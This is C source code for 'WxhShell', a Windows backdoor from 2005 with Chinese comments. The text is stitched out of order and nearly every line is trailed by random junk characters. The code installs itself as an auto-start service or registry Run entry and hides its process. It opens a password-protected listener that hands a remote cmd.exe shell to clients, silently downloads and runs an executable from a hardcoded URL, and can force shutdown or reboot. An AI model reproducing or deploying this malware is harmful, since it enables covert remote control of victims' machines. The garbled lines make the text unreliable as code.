    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); NMrf I0tbG  
    if(Boot(SHUTDOWN)) "st+2#{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); txX>zR*)  
    else { Z\n^m^Z =  
    closesocket(wsh); EF9Y=(0|  
    ExitThread(0); iVmy|ewd  
    } 8R(l~  
    break; i;IhsKO0R  
    } Aq>?G+  
  // 获取shell /h]ru SI  
  case 's': { iorQ/(  
    CmdShell(wsh); y T&#k1  
    closesocket(wsh); z  61Fq  
    ExitThread(0); e9QjRx  
    break; {QOy' 8 /  
  } Vk[M .=J  
  // 退出 `v2Xp3o4f  
  case 'x': { yi (IIW  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `ah"Q;d$  
    CloseIt(wsh); N6%L4v8-}X  
    break; cBZJ  
    } 5HY0 *\  
  // 离开 g-m,n=qu  
  case 'q': { 0]nveC$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); h2?\A%  
    closesocket(wsh); 3m$Qd#|  
    WSACleanup(); VT#`l0I }  
    exit(1); taO(\FOm  
    break; >S{8sN  
        } NJQy*~P  
  } 2 zX9c<S=5  
  } G)o:R iq  
5EECr \*  
  // 提示信息 P{StF`>Y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w:R#F( 'B  
} #v6<9>%  
  } 6 Pdao{P  
q{f (T\  
  return; 5as5{"l  
} 'cc{sjG  
Np$ue }yr  
// shell模块句柄 GsiKL4|mj  
int CmdShell(SOCKET sock) h1f 05  
{ j|XL$Q  
STARTUPINFO si; T;S6<J  
ZeroMemory(&si,sizeof(si)); ]kO|kIs  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VAqZ`y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .}(X19R  
PROCESS_INFORMATION ProcessInfo; |PGTP#O<  
char cmdline[]="cmd"; 95ix~cH3q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); TWfk r  
  return 0; .%M80X{5~  
} <l eE.hhf.  
;Qc^xIPy  
// 自身启动模式 _E/  
int StartFromService(void) "2 :zWh7|  
{ yOk{l$+  
typedef struct Jq8v69fyQ  
{ /^X)>1)j  
  DWORD ExitStatus; -%V~ 1  
  DWORD PebBaseAddress; <B @z>V  
  DWORD AffinityMask; PO:sF]5  
  DWORD BasePriority; !>GDp>0  
  ULONG UniqueProcessId; jQBn\^w  
  ULONG InheritedFromUniqueProcessId; HLc3KYIk  
}   PROCESS_BASIC_INFORMATION;  <$K7f  
3l$D%y  
PROCNTQSIP NtQueryInformationProcess; lW4 6S  
i4M%{]G3Y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ies` !W^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \#F>R,  
5%@~"YCo  
  HANDLE             hProcess; \H1t<B,  
  PROCESS_BASIC_INFORMATION pbi; Tiimb[|  
s E;2;2u"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]AN%#1++U  
  if(NULL == hInst ) return 0; wb##|XyK<c  
<vxTfE@>bp  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }2Y`Lr  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (''w$qq"D  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *,=8x\Shp  
9j5-/   
  if (!NtQueryInformationProcess) return 0; 3[ xHY@c  
/R>YDout}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); BE54L+$p  
  if(!hProcess) return 0; ]M~ 7L[  
]x%sX|Rj  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; F4ylD5Y!  
x<.(fRv   
  CloseHandle(hProcess); n{M-t@r7  
)d|s$l$?7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #6pJw?[  
if(hProcess==NULL) return 0; ,)VAKrSg  
h*3{IHAQ  
HMODULE hMod; G+I->n-s4  
char procName[255]; !:}m-iqQ1  
unsigned long cbNeeded; _c(h{dn  
%:OX^ ^i;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); nE bZ8M  
TJZ arNc$  
  CloseHandle(hProcess); G 6xN R  
8m[o*E.4F  
if(strstr(procName,"services")) return 1; // 以服务启动 ]]y,FQ,r  
_ G2)=yj]  
  return 0; // 注册表启动 xP27j_*m>  
} bHXoZix  
 w U1[/  
// 主模块 XK;Vu#E*^  
int StartWxhshell(LPSTR lpCmdLine) r-Y7wM`TZ  
{ +k/=L9#e  
  SOCKET wsl; wbg ?IvY[  
BOOL val=TRUE; K1&t>2=%  
  int port=0; 31QDN0o!~  
  struct sockaddr_in door; ",aEN=+|hV  
SQ'%a-Mct  
  if(wscfg.ws_autoins) Install(); U_Q;WPJ  
cxx8I  
port=atoi(lpCmdLine); - Nt8'-  
D<WGau2H  
if(port<=0) port=wscfg.ws_port; {CFy %  
(Bv~6tj~J  
  WSADATA data; [ /<kPi  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <)Y jVGG  
<Ynrw4[)t  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~n(LBA  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0r?]b*IEK  
  door.sin_family = AF_INET; $FZcvo3@*S  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); B$7Cjv  
  door.sin_port = htons(port); y k\/Cf  
2+*o^`%4P  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { t[AA=  
closesocket(wsl); .z*}%,G  
return 1; 0WyOORuK  
} H.o3d/8:  
Ag&K@%|*  
  if(listen(wsl,2) == INVALID_SOCKET) { Zcg-i:@  
closesocket(wsl); ,C:^K`k&  
return 1; *r7%'K{ C  
} v] m`rV8S[  
  Wxhshell(wsl); EiyHZ  
  WSACleanup(); %MEWw  
+"|TPKas  
return 0; <)"i'v $  
D z[ ,;  
} Ylgr]?Db*  
j+>N&.zs  
// 以NT服务方式启动 R0G!5>1i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) qca=a }  
{ Pu'NSNT  
DWORD   status = 0; ;*d?Qe:  
  DWORD   specificError = 0xfffffff; sLSH`Xy?5  
d ]#`?}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [<>%I#7ulG  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9%m^^OOf  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :'[ha$  
  serviceStatus.dwWin32ExitCode     = 0; gJg+ ]-h/  
  serviceStatus.dwServiceSpecificExitCode = 0; M'T[L%AP  
  serviceStatus.dwCheckPoint       = 0; NceK>:: 56  
  serviceStatus.dwWaitHint       = 0; AKS. XW  
|:SIyXGbY  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^S)t;t@x  
  if (hServiceStatusHandle==0) return; mcs!A/]<  
m\_v{1g  
status = GetLastError(); ' t^ r2N/  
  if (status!=NO_ERROR) Ri*mu*r\}  
{ Wq?vAnLbk  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <oSx'_dc  
    serviceStatus.dwCheckPoint       = 0; Jyp7+M]  
    serviceStatus.dwWaitHint       = 0; QT|\TplJt  
    serviceStatus.dwWin32ExitCode     = status; Z!4B=?(  
    serviceStatus.dwServiceSpecificExitCode = specificError; J~h9i=4<bF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); O5:[]vIn  
    return; A+z}z@K  
  } O:8Ne*L`D  
=NWzsRl,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ):n'B` f}z  
  serviceStatus.dwCheckPoint       = 0; #IJ6pg>K  
  serviceStatus.dwWaitHint       = 0; "s@q(J  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {s=c!08=  
} ^S(QvoaQ  
A-h[vP!v|  
// 处理NT服务事件,比如:启动、停止 .}E@ 7^X  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :W+%jn  
{ }}oIZP\qM  
switch(fdwControl) " BU4\QF-  
{ *@W B aN+  
case SERVICE_CONTROL_STOP: KHM,lj*  
  serviceStatus.dwWin32ExitCode = 0; SPauno <M  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; q#"lnc<S  
  serviceStatus.dwCheckPoint   = 0; F'@ 9kdp  
  serviceStatus.dwWaitHint     = 0; $^YHyfh  
  { S8C} C#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E/gfX   
  } o?I`n*u"X  
  return; j{/5i`5m  
case SERVICE_CONTROL_PAUSE: V}FH5z |  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4{0vdpo3F  
  break; <)"2rxX&5  
case SERVICE_CONTROL_CONTINUE: *zdUCX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; n- 1  
  break; P!{J28dj  
case SERVICE_CONTROL_INTERROGATE: anORoK.  
  break; u]]mbER*t#  
}; M[e^Z}w.V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); JZE<oQ_Jm  
} gj&5>brP  
shiw;.vR{B  
// 标准应用程序主函数 :*cd$s  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 'CRjd~L  
{ []?*}o5&>T  
3@1$y`SN  
// 获取操作系统版本 G\(*z4@Gz  
OsIsNt=GetOsVer(); dki3(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); V|<'o<h8  
lQ4$d{m`  
  // 从命令行安装 3(:?Z-iKe  
  if(strpbrk(lpCmdLine,"iI")) Install(); g+xcKfN{  
$- Y8@bw  
  // 下载执行文件 XG5"u  
if(wscfg.ws_downexe) { 7UUu1"|a|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \vuWypo  
  WinExec(wscfg.ws_filenam,SW_HIDE); .s|5AC[  
} ;Q[E>j?w=  
q3|SZoN  
if(!OsIsNt) { BG6Lky/omz  
// 如果时win9x,隐藏进程并且设置为注册表启动  TZdJq  
HideProc(); !yz3:Yzu  
StartWxhshell(lpCmdLine); KYq<n& s  
} 0;%\L:,O  
else ; NO#/  
  if(StartFromService()) x6vkd%fCj  
  // 以服务方式启动 c]|Tg9AW  
  StartServiceCtrlDispatcher(DispatchTable); ojVN -*5  
else ;)ERxMun  
  // 普通方式启动 v7D0E[)~  
  StartWxhshell(lpCmdLine); VS65SxHA  
BU|m{YZ$  
return 0; c57`mOe/b  
} xX8 c>p  
@2>ce2+  
BLm}mb#/{  
1\/~>  
=========================================== .73sY5hdTN  
x@x5|8:ga  
%Kh}6   
@}' ?o_/C  
@k/|%%uP  
]puDqu5!  
" .fK~IKA  
"po;[ Ia2  
#include <stdio.h> \#gguq?[  
#include <string.h> msOE#QL6a  
#include <windows.h> !HXyvyDN  
#include <winsock2.h> -1ci.4F&  
#include <winsvc.h> IcNZUZGE  
#include <urlmon.h> {RD9j1  
f3<253 1/}  
#pragma comment (lib, "Ws2_32.lib") dx.Jv/Mb  
#pragma comment (lib, "urlmon.lib") %mOQIXr1s  
dd4^4X`j  
#define MAX_USER   100 // 最大客户端连接数 ho!qXS  
#define BUF_SOCK   200 // sock buffer TnuA uui*  
#define KEY_BUFF   255 // 输入 buffer WJ\,Y} J  
52r\Q}v$  
#define REBOOT     0   // 重启 j ~I_by  
#define SHUTDOWN   1   // 关机 C]3^:b+   
5{-54mwo  
#define DEF_PORT   5000 // 监听端口 &0+Ba[Z ^  
D8b9 T.[(  
#define REG_LEN     16   // 注册表键长度 {H 3wL  
#define SVC_LEN     80   // NT服务名长度 i\* b<V  
%V(U]sbV  
// 从dll定义API 8C I\NR{x8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :aD_>,n  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); s2#}@b6'.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <co:z<^lqu  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *QoQ$alHH  
~Yre(8+M  
// wxhshell配置信息 \3x+Z!  
struct WSCFG { GMpg+rK  
  int ws_port;         // 监听端口 $6d5W=u$H  
  char ws_passstr[REG_LEN]; // 口令 K)eyFc  
  int ws_autoins;       // 安装标记, 1=yes 0=no .AF\[IQ  
  char ws_regname[REG_LEN]; // 注册表键名 U:|:Y=O?Q  
  char ws_svcname[REG_LEN]; // 服务名 ( ;KTV*1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 On,z# A  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 QO4eDSW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 NkAu<> G _  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0Q]{r )  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'Xasd3*Py  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 t ;y@;?~  
>Hd!o"I  
}; hS^8/]E={  
NQN?CBFQ  
// default Wxhshell configuration zGP@!R`_  
struct WSCFG wscfg={DEF_PORT, }'uV{$  
    "xuhuanlingzhe", f2ck=3  
    1, m-Se-aF  
    "Wxhshell", 6-\M }xq?  
    "Wxhshell", 6dRvx;d  
            "WxhShell Service", OZe`>Q6  
    "Wrsky Windows CmdShell Service", - P4X@s_;  
    "Please Input Your Password: ", R !>SN0  
  1, d\tA1&k71  
  "http://www.wrsky.com/wxhshell.exe", EEHTlqvR  
  "Wxhshell.exe" $;)A:*e  
    }; 0u I=8j  
/@",5U#  
// 消息定义模块 LE g#W  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; uao#=]?)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %~N| RSec  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \M*c3\&~,e  
char *msg_ws_ext="\n\rExit."; gi8f)MNP?~  
char *msg_ws_end="\n\rQuit."; f;b f R&v  
char *msg_ws_boot="\n\rReboot..."; Z|d+1i  
char *msg_ws_poff="\n\rShutdown..."; #_:%Y d  
char *msg_ws_down="\n\rSave to "; A!a.,{fZ  
Xzqx8Kd  
char *msg_ws_err="\n\rErr!"; +,eF(VS!  
char *msg_ws_ok="\n\rOK!"; 8P} a  
T t$] [  
char ExeFile[MAX_PATH]; <"7Wb"+  
int nUser = 0; Pe@*')o*  
HANDLE handles[MAX_USER]; >{"E~U  
int OsIsNt; eX'V#K#C  
xBE}/F$ 45  
SERVICE_STATUS       serviceStatus; SYgkYR  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; M4t:)!dji?  
pwNF\ ={  
// 函数声明 QPB ^%8  
int Install(void); V:lKF')  
int Uninstall(void); 3.Jk-:u %m  
int DownloadFile(char *sURL, SOCKET wsh); IG!(q%Gf  
int Boot(int flag); AzSmfEaU0  
void HideProc(void); {7EpljH@  
int GetOsVer(void); w%%*3[--X  
int Wxhshell(SOCKET wsl); ,/dW*B  
void TalkWithClient(void *cs); es\Fn#?O  
int CmdShell(SOCKET sock); t*Z4&Sy^  
int StartFromService(void); .F0Q< s9  
int StartWxhshell(LPSTR lpCmdLine); h<g2aL21?F  
VD+v \X_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |[$ TT$Fb  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7_L$XIa  
t~Q j$:\  
// 数据结构和表定义 -CTLQyj)  
SERVICE_TABLE_ENTRY DispatchTable[] = n -xCaq  
{ _DYe<f.  
{wscfg.ws_svcname, NTServiceMain}, Pt/F$A{Cj  
{NULL, NULL} V"KuwM  
}; `F_R J.g*p  
Y 9BKd78Y  
// 自我安装 WFvVu3  
int Install(void) ".kH5(:  
{ t* =i8`8  
  char svExeFile[MAX_PATH]; L^Fb;sJYI  
  HKEY key; Gf-GDy\{  
  strcpy(svExeFile,ExeFile); *d-JAE  
C-^8;xd  
// 如果是win9x系统,修改注册表设为自启动 R 3*{"!O  
if(!OsIsNt) { ?:+p#&I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r>6FJ:Tx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]#W9l\  
  RegCloseKey(key); }eSrJgF4M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &3\3wcZ,q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~eXI}KhBw6  
  RegCloseKey(key); $?DEO[p.  
  return 0; :b,An'H  
    } n/% M9osF  
  } q<cxmo0S  
} >oapw5~5  
else { _CizU0S  
nd{k D>a  
// 如果是NT以上系统,安装为系统服务 )k81  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Pje 1,B q  
if (schSCManager!=0) _lfS"ae  
{ lr)9U 7  
  SC_HANDLE schService = CreateService K}p0$Lc  
  ( P}he}k&IR  
  schSCManager, C-&s$5MzGb  
  wscfg.ws_svcname, 'N\nJz}  
  wscfg.ws_svcdisp, 5dL!e<<  
  SERVICE_ALL_ACCESS, {`9J8qRY  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N,&bBp  
  SERVICE_AUTO_START, S>d7q  
  SERVICE_ERROR_NORMAL, )qRE['M  
  svExeFile, !z]{zM%  
  NULL, %]o/p_<  
  NULL, f;bVzti+w  
  NULL, `_OB_F  
  NULL, 4XSq\.@G  
  NULL eRg;)[#0>$  
  ); U/-|hfh  
  if (schService!=0) R+9 hog  
  { k>:\4uI|<\  
  CloseServiceHandle(schService); &x/Z {ut  
  CloseServiceHandle(schSCManager); vtRz;~,Z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zT'(I6 S:)  
  strcat(svExeFile,wscfg.ws_svcname); Q 34-a"6)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { P8 R^46  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); VYQ]?XF3i  
  RegCloseKey(key); 5L,q,kVS  
  return 0; .+~9 vH  
    } '^tC|)  
  } H5be5  
  CloseServiceHandle(schSCManager); C-/+n5J  
} Sre:l'.  
} -5@hU8B'a  
1|$J>  
return 1; )00jRuF  
} w=thaF.  
/Y [ b8f  
// 自我卸载 $I9U.~*  
int Uninstall(void) nQG<OVRClS  
{ &H2j3De  
  HKEY key; ?&POVf>  
22`e7  
if(!OsIsNt) { e/$M6l$Q*4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ONLhQJCb  
  RegDeleteValue(key,wscfg.ws_regname); `* cJc6  
  RegCloseKey(key); :e\M~n+y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z.N9e  
  RegDeleteValue(key,wscfg.ws_regname); k-sBf Jy\  
  RegCloseKey(key); jgBJs^JgYG  
  return 0; n%6=w9.%c  
  } H^g&e$d0  
} Vr #o]v  
} 7/dp_I}cO  
else { b6'ZVB  
afjEN y1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \<\147&)r  
if (schSCManager!=0) x #t?`  
{  ;ih;8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~$YasFEz  
  if (schService!=0) 5Z13s  
  { r(g2&}o\  
  if(DeleteService(schService)!=0) { GQ*or>R1  
  CloseServiceHandle(schService); bs)Ro/7}  
  CloseServiceHandle(schSCManager); ^%qQ)>I=j  
  return 0; O)`ye5>v  
  } \4uj!LgTb  
  CloseServiceHandle(schService); P,k=u$  
  } 1(jx.W3  
  CloseServiceHandle(schSCManager); |2I/r$Q  
} MF +F8h>/  
} x/%/MFK)>8  
_;:B@Z  
return 1; ^vTp.7o~5  
} .xtam 8@  
$"3cN&  
// 从指定url下载文件  xC2y/ ?  
int DownloadFile(char *sURL, SOCKET wsh) o>I,$=  
{ \$,8aRT>#U  
  HRESULT hr; ,?!MVN-  
char seps[]= "/"; i$H9~tPs  
char *token; 'acCnn'  
char *file; la`f@~Bbr1  
char myURL[MAX_PATH]; vh^?M#\  
char myFILE[MAX_PATH]; ,+FiP{`  
H WFnIUv  
strcpy(myURL,sURL); ;Ehv1{;  
  token=strtok(myURL,seps); m4G))||9Q  
  while(token!=NULL) *++}ll6  
  { ![m6$G{y  
    file=token; ilQt`-O!  
  token=strtok(NULL,seps); &Vg)/t;  
  } [2z >8 SL  
P#AS")Sj  
GetCurrentDirectory(MAX_PATH,myFILE); 4K >z?jd  
strcat(myFILE, "\\"); vP,$S^7$  
strcat(myFILE, file); O*c<m,  
  send(wsh,myFILE,strlen(myFILE),0); l@>@2CB  
send(wsh,"...",3,0); / &yc?Ui  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Q 2 B  
  if(hr==S_OK) ex|h&Vma2V  
return 0; !~Kg_*IT  
else m|PJwd6  
return 1; z!)@`?  
5PE}3he:  
}  x(A6RRh  
_Pn 1n  
// 系统电源模块 (ZQ?1Qxo  
int Boot(int flag) R HmT$^=  
{ &cy<"y  
  HANDLE hToken; Dc0CQGx9b  
  TOKEN_PRIVILEGES tkp; \ F)}brPc  
P3TM5  
  if(OsIsNt) { TmJXkR.5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )&ucX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H_w?+Rig  
    tkp.PrivilegeCount = 1; ZN!<!"~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {}BAQ9|q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S4 s#EDs  
if(flag==REBOOT) { </_.+c [  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0Q[;{}W}  
  return 0; 2 e&M/{  
} "1rT> ASWI  
else { [NbW"Y7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) p+${_w>pl{  
  return 0; euET)Ccq  
} b T** y?2  
  } 1?,C d  
  else { p,7?rI\N  
if(flag==REBOOT) { ~\ v"xV  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -a7BVEFts  
  return 0; d5n>2iO  
} lF\2a&YRbn  
else {  |?ZNGPt  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?)7UqVyq  
  return 0; 'AZxR4W  
}  J {$c|  
} N: 5 N}am  
Tb{RQ?Nw'  
return 1; 7hT@,|(j  
} NdC5w-WY  
T `o[whr  
// win9x进程隐藏模块 0KjCM4t  
void HideProc(void) }U|Vpgd!  
{ mBQpf/PG  
~Jlq.S'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Nf}i /  
  if ( hKernel != NULL ) }Zfi/^0U  
  { =D)ADZ\<r  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); T2|os{U  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); T/jxsIt3  
    FreeLibrary(hKernel); y8 dOx=c  
  } KIY9?B=+  
o 9d|XY_  
return; ~iq=J5IN#  
} X#o;`QM  
_.SpU`>/f  
// 获取操作系统版本 [<nd+3E  
int GetOsVer(void) aTs9lr:  
{ )*aAkM  
  OSVERSIONINFO winfo; Bq tN=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Yh{5O3(;  
  GetVersionEx(&winfo); $ SZIJe"K  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <Ik5S1<h$H  
  return 1; kkXe=f%  
  else  gOy{ RE  
  return 0; o Va[  
} 7t+H94KG7  
t;_1/ mt  
// 客户端句柄模块 nIqF:6/  
int Wxhshell(SOCKET wsl) A:5P  
{ X,D ]S@  
  SOCKET wsh; ]hZk #rp}  
  struct sockaddr_in client; GK#D R/OM  
  DWORD myID; D[{"]=-  
,Qj\_vr@  
  while(nUser<MAX_USER) 8#HQ05q>  
{ n2Q ?sV;m  
  int nSize=sizeof(client); x!u6LDq0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); e1hf{:&/G@  
  if(wsh==INVALID_SOCKET) return 1; ,Bj]j -\Y  
\!*F:v0g^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  &%T*sR  
if(handles[nUser]==0) juxAyds  
  closesocket(wsh); cG4}daK]d  
else ~w(A3I.  
  nUser++; W >|'4y)  
  } ^MVOaV65  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); o5G]|JM_  
*p|->p6,u  
  return 0; $SfY<j,R  
} c*R18,5-  
?\zyeWK0L  
// 关闭 socket boZ/*+t  
void CloseIt(SOCKET wsh) bG+Gg*0p  
{ IEWl I  
closesocket(wsh); LYTnMrM  
nUser--; ^Zlbs goZ  
ExitThread(0); zR?1iV.]  
} qipS`:TER  
1+Vei<H$  
// 客户端请求句柄 MPLeqk$;  
void TalkWithClient(void *cs) ${`q!  
{ &?k`rF9  
e' |c59E  
  SOCKET wsh=(SOCKET)cs; 2hTsjJ!'  
  char pwd[SVC_LEN]; (A-Uo   
  char cmd[KEY_BUFF]; b(> G  
char chr[1]; 'Z nJd j  
int i,j; <ILi38%Y  
jn oX%3d-  
  while (nUser < MAX_USER) { ac8su0  
)4H0Bz2G  
if(wscfg.ws_passstr) { ,? Q1JZPy@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7r pTk&`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sR| /s3;  
  //ZeroMemory(pwd,KEY_BUFF); 7>-99o^W  
      i=0; l s%'\}  
  while(i<SVC_LEN) { 6L2Wv5C  
)2r_EO@3HP  
  // 设置超时 m*v@L4t( 1  
  fd_set FdRead; N5b&tJb M0  
  struct timeval TimeOut; N8X)/W  
  FD_ZERO(&FdRead); n%s$!R- \  
  FD_SET(wsh,&FdRead); },#AlShZu  
  TimeOut.tv_sec=8; \3)U~[O>:  
  TimeOut.tv_usec=0; <iM}p^jX9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); T%**:@}+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \p)eY#A  
h{ eQ\iI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8'u,}b)  
  pwd=chr[0]; w7~&Xxa/  
  if(chr[0]==0xd || chr[0]==0xa) { _HkQv6fXpE  
  pwd=0; F0'8n6zj  
  break; Hq,znRz~`  
  } ;9qwB  
  i++; !0cb f&^:  
    } 5'EoB^`8N~  
yaAg!mW  
  // 如果是非法用户,关闭 socket {3 >`k.w  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,fj~BkW{  
} T? ,Q=.  
3) XS^WG  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ca%XA|_J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EDg; s-T=  
,|w,  
while(1) { Wr,pm#gl6  
M$3/jl*#}  
  ZeroMemory(cmd,KEY_BUFF); fg GTm:   
)XYCr<s2"  
      // 自动支持客户端 telnet标准   /1r {z1pv\  
  j=0; zZV9`cqZ{  
  while(j<KEY_BUFF) { ]K<7A!+@@p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H)K.2Q  
  cmd[j]=chr[0]; 'JAe =K H  
  if(chr[0]==0xa || chr[0]==0xd) { l#]+I YD  
  cmd[j]=0; pH0MVu(W  
  break; r6 kQMFA  
  } +lJD7=%K]Z  
  j++; DMT2~mh  
    } 5 gwEr170  
ShOB"J-  
  // 下载文件 %i&\ X[  
  if(strstr(cmd,"http://")) { P}-S[[b73s  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ST\d -x  
  if(DownloadFile(cmd,wsh)) T"E%;'(cp)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3.%jet1  
  else pFEU^]V3*  
